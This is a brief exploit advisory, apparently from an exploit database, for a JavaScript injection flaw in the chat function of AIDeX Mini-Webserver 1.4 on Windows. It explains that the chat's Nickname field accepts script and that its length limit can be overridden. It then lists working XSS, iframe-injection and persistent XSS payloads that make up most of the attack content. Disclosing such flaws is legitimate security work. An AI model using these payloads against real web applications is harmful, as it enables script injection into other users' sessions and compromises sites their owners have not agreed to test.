# Exploit Title: AIDeX Mini-Webserver 1.4 integrated Chat Javascript
Injection Vulnerability
# Autor: wingthor
# Author-Email:exploit@wingthor.de <mailto:exploit@wingthor.de>
# Author-Website (german):http://www.wingthor.de <http://www.wingthor.de/>
# Date: 30.12.10
# Tool: AIDeX Mini-Webserver
# Version: 1.4
# Vendor-Site:http://www.aidex.de/software/webserver/download.html
# Software Link:http://www.aidex.de/software/webserver/MiniWebserver.zip
# Platform: Windows
# Tested on: Windows XP
Athttp://localhost:port/*chat/you can find the integrated Chat Function
in the Webserver.
You can use the "Nickname:" field (nick at the code-level) to inject Code.
But Attention the field is limited with a Default of "maxlength=31", but
you can simply override this value =)
== Examples ==
XSS: Nickname = <script>alert('bam')</script>
CSRF: Nickname = <iframe src=http://www.google.de>
<http://www.google.de%3E/>
Persistent XSS: Nickname = testuser"><script>alert('bam')</script>
